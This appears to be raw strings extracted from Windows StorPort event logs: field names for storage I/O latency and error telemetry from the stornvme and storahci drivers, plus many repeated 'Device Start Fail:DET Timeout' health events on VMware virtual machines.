PortNumber PathID TargetID ClassDeviceGuid AdapterGuid BusType MiniportName IoTimeout_s VendorId ProductId SerialNumber AdapterSerialNumber FirmwareRevision BootDevice SystemUptime_s Version TotalIoCount TotalDeviceQueueIoCount MaxDeviceQueueCount MaxOutstandingCount $TotalDeviceQueueIoWaitDuration_100ns "MaxDeviceQueueIoWaitDuration_100ns %DeviceQueueIoWaitExceededTimeoutCount DeviceQueueIoBusyCount DeviceQueueIoPausedCount ,DeviceQueueIoUntaggedCommandOutstandingCount #DeviceQueueIoPausedForUntaggedCount MaxReadWriteLatency_100ns MaxFlushLatency_100ns MaxUnmapLatency_100ns IoLatencyBuckets BucketIoSuccess1 BucketIoSuccess2 BucketIoSuccess3 BucketIoSuccess4 BucketIoSuccess5 BucketIoSuccess6 BucketIoSuccess7 BucketIoSuccess8 BucketIoSuccess9 BucketIoSuccess10 BucketIoSuccess11 BucketIoSuccess12 BucketIoSuccess13 BucketIoSuccess14 BucketIoFailed1 BucketIoFailed2 BucketIoFailed3 BucketIoFailed4 BucketIoFailed5 BucketIoFailed6 BucketIoFailed7 BucketIoFailed8 BucketIoFailed9 BucketIoFailed10 BucketIoFailed11 BucketIoFailed12 BucketIoFailed13 BucketIoFailed14 BucketIoLatency1_100ns BucketIoLatency2_100ns BucketIoLatency3_100ns BucketIoLatency4_100ns BucketIoLatency5_100ns BucketIoLatency6_100ns BucketIoLatency7_100ns BucketIoLatency8_100ns BucketIoLatency9_100ns BucketIoLatency10_100ns BucketIoLatency11_100ns BucketIoLatency12_100ns BucketIoLatency13_100ns BucketIoLatency14_100ns TotalReadBytes TotalWriteBytes HighLatencyIoCount stornvme 0VMWare NVME_0000 128us, 256us, 512us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 512ms, 1000ms, 2000ms, 10000ms, 10000+ms Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PortNumber PathID TargetID ClassDeviceGuid AdapterGuid BusType MiniportName VendorId ProductId SerialNumber AdapterSerialNumber SystemUptime_s Version TotalErrors TotalReadWriteErrors !TotalImpendingDeviceFailureErrors TotalDeviceFailureErrors TimeoutsInMiniport HierarchicalResetSuccessCount LastError_RequestDuration_ms LastError_WaitDuration_ms LastError_Command LastError_SrbStatus LastError_ScsiStatus LastError_SenseKey LastError_AddSense LastError_AddSenseQ LastError_IoSize LastError_QueueDepth LastError_LBA SampledErrorLogArrayLength SampledErrorLogArray UniqueErrorLogArrayLength UniqueErrorLogArray stornvme 0VMWare NVME_0000 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci 128us, 256us, 512us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 512ms, 1000ms, 2000ms, 10000ms, 10000+ms Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme 0VMWare NVME_0000 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational MiniportName PortNumber AdapterGuid PathID TargetID ClassDeviceGuid VendorId ProductId SerialNumber BootDevice Phase Threshold_100ns Count stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational MiniportName PortNumber AdapterGuid PathID TargetID ClassDeviceGuid VendorId ProductId SerialNumber BootDevice Threshold_ms RequestDuration_ms WaitDuration_ms Command IoSize QueueDepth stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PCI\VEN_15AD&DEV_07E0&SUBSYS_07E015AD&REV_00 storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00 stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme NVMe Controller Config Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PCI\VEN_15AD&DEV_07E0&SUBSYS_07E015AD&REV_00 storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00 stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme NVMe Controller Config Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Admin Command Error CmdInfo ControllerStatus NULL NULL NULL Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational stornvme Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Operational storahci Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health EventData Data MiniportName MiniportEventId MiniportEventDescription PortNumber AdapterGuid PathID TargetID ClassDeviceGuid VendorId ProductId SerialNumber BootDevice Parameter1Name Parameter1Value Parameter2Name Parameter2Value Parameter3Name Parameter3Value Parameter4Name Parameter4Value Parameter5Name Parameter5Value Parameter6Name Parameter6Value Parameter7Name Parameter7Value Parameter8Name Parameter8Value storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health EventData Data MiniportName MiniportEventId MiniportEventDescription PortNumber AdapterGuid PathID TargetID ClassDeviceGuid VendorId ProductId SerialNumber BootDevice Parameter1Name Parameter1Value Parameter2Name Parameter2Value Parameter3Name Parameter3Value Parameter4Name Parameter4Value Parameter5Name Parameter5Value Parameter6Name Parameter6Value Parameter7Name Parameter7Value Parameter8Name Parameter8Value storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET Timeout StateFlag StartState PortReset|StartFailed ErrorRecovery|BusChange Parameter1 Parameter2 Parameter3 Parameter4 Microsoft-Windows-StorPort Microsoft-Windows-Storage-Storport/Health storahci Device Start Fail:DET 